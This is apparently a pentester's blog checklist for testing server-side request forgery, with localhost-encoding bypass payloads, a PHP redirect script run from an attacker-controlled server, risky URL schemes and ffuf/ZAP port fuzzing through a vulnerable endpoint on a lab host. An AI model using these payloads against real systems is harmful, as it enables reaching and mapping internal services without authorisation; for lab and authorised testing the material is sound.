Server-side Request Forgery (SSRF)

INTRODUCTION

Why write this?

I often forget small steps about testing SSRF. It’d be good to have a checklist to remind myself of things to investigate when I find an opportunity for SSRF.

This is by no means comprehensive. If you want a longer and more detailed guide, I recommend the Hacktricks page

SSRF

ADDRESS FILTER BYPASS

Even if an SSRF vulnerability is present, any half-decent web app will still filter the addresses that can be requested via the SSRFable component. Usually, these constaints are introduced to force the user of the web app to:

  • Request internal resources only - external resources should be blocked
  • Request external resources only - internal resources should be blocked

Often, this mechanism is written solely through deny-listing. Thankfully for pentesters, deny-listing is very tricky to do well!

Bypass restrictions to localhost

Try all of these synonyms for localhost:

  • http://localhost
  • https://localhost
  • http://127.0.0.1
  • http://127.000.000.001
  • http://127.1
  • http://2130706433
  • http://017700000001
  • HtTp://LoCaLhOsT
  • http://0.0.0.0
  • http%3A%2F%2127.0.0.1
  • Redirect from attacker-controlled server

To perform the redirection as mentioned above, an easy way is to use PHP:

<?php
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
    $url = 'http://127.0.0.1/resource.txt';
    header("Location: $url", true, 302);
    exit;
} else {
    http_response_code(405);
    echo "Method not allowed";
}
?>

Then just run the PHP development server:

sudo ufw allow from $RADDR to any port 8000 proto tcp
php -S 0.0.0.0:8000

URL SCHEMES

Make sure to try a variety of URL schemes:

  • http://
  • file://
  • ftp://
  • data://
  • glob://
  • gopher://
  • expect://
  • php://
  • dict://

urllib bypass

The popular python tool urllib has a serious flaw in python version <3.7. You can bypass checking the URL scheme by simply adding a space at the beginning of the URL. For more details see CVE-2023-24329.

PORT FUZZING

List of ports

If you’re using Ffuf, you’ll need to generate a wordlist of port numbers:

seq 1 65535 > port_numbers.txt

Then, make a request through the SSRFable component. Proxy the request through ZAP or Burp as you make it.

Another good source of port numbers is to use the nmap top-1000. You can find a handy wordlist for that in Seclists that defaults to /usr/share/seclists/Discovery/Infrastructure/nmap-ports-top1000.txt.

The nmap-ports-top1000.txt file is a comma-separated list, and includes ranges of ports. To transform it into something easier to parse, just use some scripting. Or save yourself some time and use the one I created.

Using ZAP

Check the proxied request. Open it in the Requester tab. Right click the resulting pane and select Fuzz. Define a new variable for the port, using the Numberzz payload type:

ZAP port fuzzing

Add the payload and start fuzzing!

Ffuf

From within ZAP, Burp, or Firefox Devtools, save the request as a “raw request” file. Then, edit the “raw request” file to contain the fuzzable keywords. For example, here is a multipart/form-data request, edited to contain the PORT keyword:

POST http://target.htb/upload HTTP/1.1
host: target.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Content-Type: multipart/form-data; boundary=---------------------------185675169266113044496348590
content-length: 123
Origin: http://target.htb

-----------------------------185675169266113044496348590
Content-Disposition: form-data; name="redirect"

http://127.0.0.1:PORT
-----------------------------185675169266113044496348590--

From there, it’s easy: just pass the -request argument to Ffuf:

ffuf -w port_numbers.txt:PORT -request ssrf_port.raw -c -v

Ffuf will try sending the same request template, swapping out the PORT keyword for every request.

⭐ Sometimes you’ll want your results to appear in ZAP or Burp. For Ffuf, just use -replay-proxy http://127.0.0.1:8080.

ENCODING

To-do: Write about URL-encoding, double-url-encoding, etc…

OTHER

HTTP Verbs

Be sure to try this wordlist: /usr/share/seclists/Fuzzing/http-request-methods.txt

USEFUL REFERENCES


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake